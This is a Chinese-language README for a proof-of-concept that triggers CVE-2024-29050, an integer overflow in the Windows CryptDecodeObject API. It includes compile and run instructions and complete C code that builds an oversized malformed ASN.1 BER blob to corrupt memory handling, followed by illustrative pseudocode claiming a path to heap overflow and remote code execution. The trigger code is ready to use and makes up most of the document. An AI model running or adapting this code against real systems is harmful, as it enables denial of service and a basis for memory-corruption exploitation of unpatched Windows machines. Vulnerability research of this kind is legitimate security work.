Windows Crypto API 整数溢出漏洞利用演示

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CVE-2024-29050 - Windows Crypto API 整数溢出漏洞演示

功能特性

  • 漏洞复现:演示 CVE-2024-29050 漏洞的触发机制
  • 整数溢出攻击:展示如何通过精心构造的证书数据导致整数溢出
  • 内存管理错误:触发系统在证书处理过程中的内存分配/释放错误
  • CryptDecodeObject 利用:利用 Windows 加密 API 中的 ASN.1 解码漏洞

安装指南

系统要求

  • Windows 操作系统(受影响的版本)
  • Visual Studio 编译器(或支持 Windows SDK 的 MinGW)
  • Windows Crypt32 库和 Bcrypt 库

依赖项

项目需要以下 Windows 库:

  • Crypt32.lib - 加密证书管理
  • Bcrypt.lib - 加密原语
  • ws2_32.lib - Windows Socket(用于网络字节序转换)

编译步骤

使用 Visual Studio 开发者命令提示符:

# 编译漏洞演示程序
cl cve_2024_29050_demo.c /o cve_2024_29050_demo.exe

或使用 MinGW:

gcc cve_2024_29050_demo.c -o cve_2024_29050_demo.exe -lcrypt32 -lbcrypt -lws2_32

使用说明

基础使用

直接运行编译后的可执行文件:

./cve_2024_29050_demo.exe

程序会尝试构造一个超大的 ASN.1 BER 编码数据块,并通过 CryptDecodeObject API 触发整数溢出。

漏洞触发流程

  1. 程序分配一个超大的缓冲区(约 64MB + 0x30 字节)
  2. 构造特定的 ASN.1 BER 编码结构
  3. 调用 CryptDecodeObject 解码类型 0x23 的证书数据
  4. 由于整数溢出,系统错误计算内存大小,导致内存管理异常

核心代码

主漏洞触发函数

#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#include <wincrypt.h>

#pragma comment(lib, "Crypt32.lib")
#pragma comment(lib, "Bcrypt.lib")
#pragma comment(lib, "ws2_32.lib")

typedef unsigned int u32;
typedef unsigned char u8;

int main() {
#define MAX_SIZE (0x4000000 + 0x30)  // 约 64MB 的超大缓冲区
    
    // 分配测试缓冲区
    unsigned char* buf = (char*)calloc(1, MAX_SIZE);
    
    HCERTSTORE hStore = NULL;
    PCCERT_CONTEXT pCert = NULL;
    BCRYPT_KEY_HANDLE hKey = NULL;
    
    DWORD pcbStructInfo[4];
    pcbStructInfo[0] = 0;
    
    // 构造恶意 ASN.1 BER 编码数据
    int i = 0;
    int j;
    
    // 添加 ASN.1 标签(构造类型 + 上下文特定)
    buf[i++] = 0x20 | 0x10;  // 构造标志 + 上下文特定类
    buf[i++] = 0x84;          // 长度字节
    
    // 写入长度值(网络字节序转换)
    *(u32*)(buf + i) = ntohl(MAX_SIZE - 0x30 + 2);
    i += 4;
    
    // 生成超长序列,模拟 "1.1." OID 前缀
    for (j = 0; j < (MAX_SIZE - 0x30 + 2) / 2; j++) {
        buf[i++] = 0x20 | 0x10;  // 重复构造标签
        buf[i++] = 0;             // 空值
    }
    
    // 触发漏洞:解码特制证书数据
    // 整数溢出发生在 CryptDecodeObject 内部的内存计算过程中
    CryptDecodeObject(
        1,                              // 编码类型(X509_ASN_ENCODING)
        (LPCSTR)0x23,                   // 结构类型(特定证书结构)
        (const BYTE*)buf,               // 恶意数据缓冲区
        MAX_SIZE - 0x10,                // 数据大小
        0,                              // 标志
        0,                              // 解码结构
        pcbStructInfo                   // 返回结构信息大小
    );
    
    return 0;
}

漏洞原理说明

整数溢出发生在 CryptDecodeObject 处理 ASN.1 BER 编码数据时。当计算所需内存大小时,程序执行类似以下的操作:

// 伪代码示例 - 存在整数溢出的逻辑
DWORD CalculateRequiredSize(DWORD inputSize) {
    DWORD headerSize = 0x30;
    DWORD calculatedSize = inputSize + headerSize;
    
    // 当 inputSize 接近 0xFFFFFFFF - headerSize 时,
    // calculatedSize 会溢出变为一个很小的值
    if (calculatedSize < MAX_ALLOCATION) {
        return calculatedSize;  // 返回过小的值
    }
    return inputSize;
}

通过提供精心构造的证书数据(如本演示中的超大序列),攻击者可以使系统分配过小的缓冲区,随后在写入数据时发生堆溢出,最终可能导致远程代码执行。 6HFtX5dABrKlqXeO5PUv/5QN8GYiDNT0NYAyT1vhPU8=